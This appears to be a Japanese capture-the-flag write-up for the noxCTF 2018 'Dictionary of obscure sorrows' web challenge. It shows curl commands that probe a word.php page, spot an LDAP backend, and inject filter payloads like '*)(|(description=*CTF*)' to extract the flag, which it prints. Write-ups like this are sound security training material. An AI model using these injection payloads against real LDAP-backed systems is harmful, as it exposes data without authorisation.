noxCTF 2018 - Dictionary of obscure sorrows
問題文
There are a lot of obscure sorrows in our world. Your job is not to find those that are plain in sight; You need to seek further, look deeper. Find the word that can not be written. The most obscure sorrow of them all. http://54.152.220.222/
writeup
HTMLソースを確認すると、/word.php?page=<文字列>
のリンクが多数ある。
word.phpの挙動を確認する。
root@kali:~# curl http://54.152.220.222/word.php Missing RDN inside ObjectClass(document) root@kali:~# curl http://54.152.220.222/word.php -s -G --data-urlencode "page=" Query returned empty root@kali:~# curl http://54.152.220.222/word.php -s -G --data-urlencode "page=Sonder" | grep h2 <h2>Sonder</h2> <h2>Even more obsure sorrows</h2>
pageパラメータを指定しなかった場合に返却されたMissing RDN inside ObjectClass(document)
のメッセージより、LDAP検索をしていると推測される。
LDAP Injectionを試す。
まずは*
を入れてみる。
root@kali:~# curl http://54.152.220.222/word.php -s -G --data-urlencode "page=*" -s | grep h2 <h2>Sonder</h2> <h2>Even more obsure sorrows</h2> root@kali:~# curl http://54.152.220.222/word.php -s -G --data-urlencode "page=A*" -s | grep h2 <h2>Anemoia</h2> <h2>Even more obsure sorrows</h2>
検索に成功した。この攻撃方針で合っていそうだ。
pageパラメータにad*をセットするとメッセージが変わる。
root@kali:~# curl http://54.152.220.222/word.php -s -G --data-urlencode "page=ad*" -s This is going to be a little bit harder than that
adminのレコードを取得するものと想定し、後方一致を試すがNG。
root@kali:~# curl http://54.152.220.222/word.php -s -G --data-urlencode "page=*min" -s Query returned empty
部分一致もNG。
root@kali:~# curl http://54.152.220.222/word.php -s -G --data-urlencode "page=*mi*" -s Query returned empty
ここからしばらく試行錯誤が続くが、description属性を発見する。
root@kali:~# curl http://54.152.220.222/word.php -s -G --data-urlencode "page=*)(|(description=*)" -s | grep h2 <h2>Sonder</h2> <h2>Even more obsure sorrows</h2>
description属性にCTFが含まれるレコードを検索するとHITした。
root@kali:~# curl http://54.152.220.222/word.php -s -G --data-urlencode "page=*)(|(description=*CTF*)" -s | grep CTF noxCTF{K1NG_0F_LD4P} </p>
フラグゲット。
noxCTF{K1NG_0F_LD4P}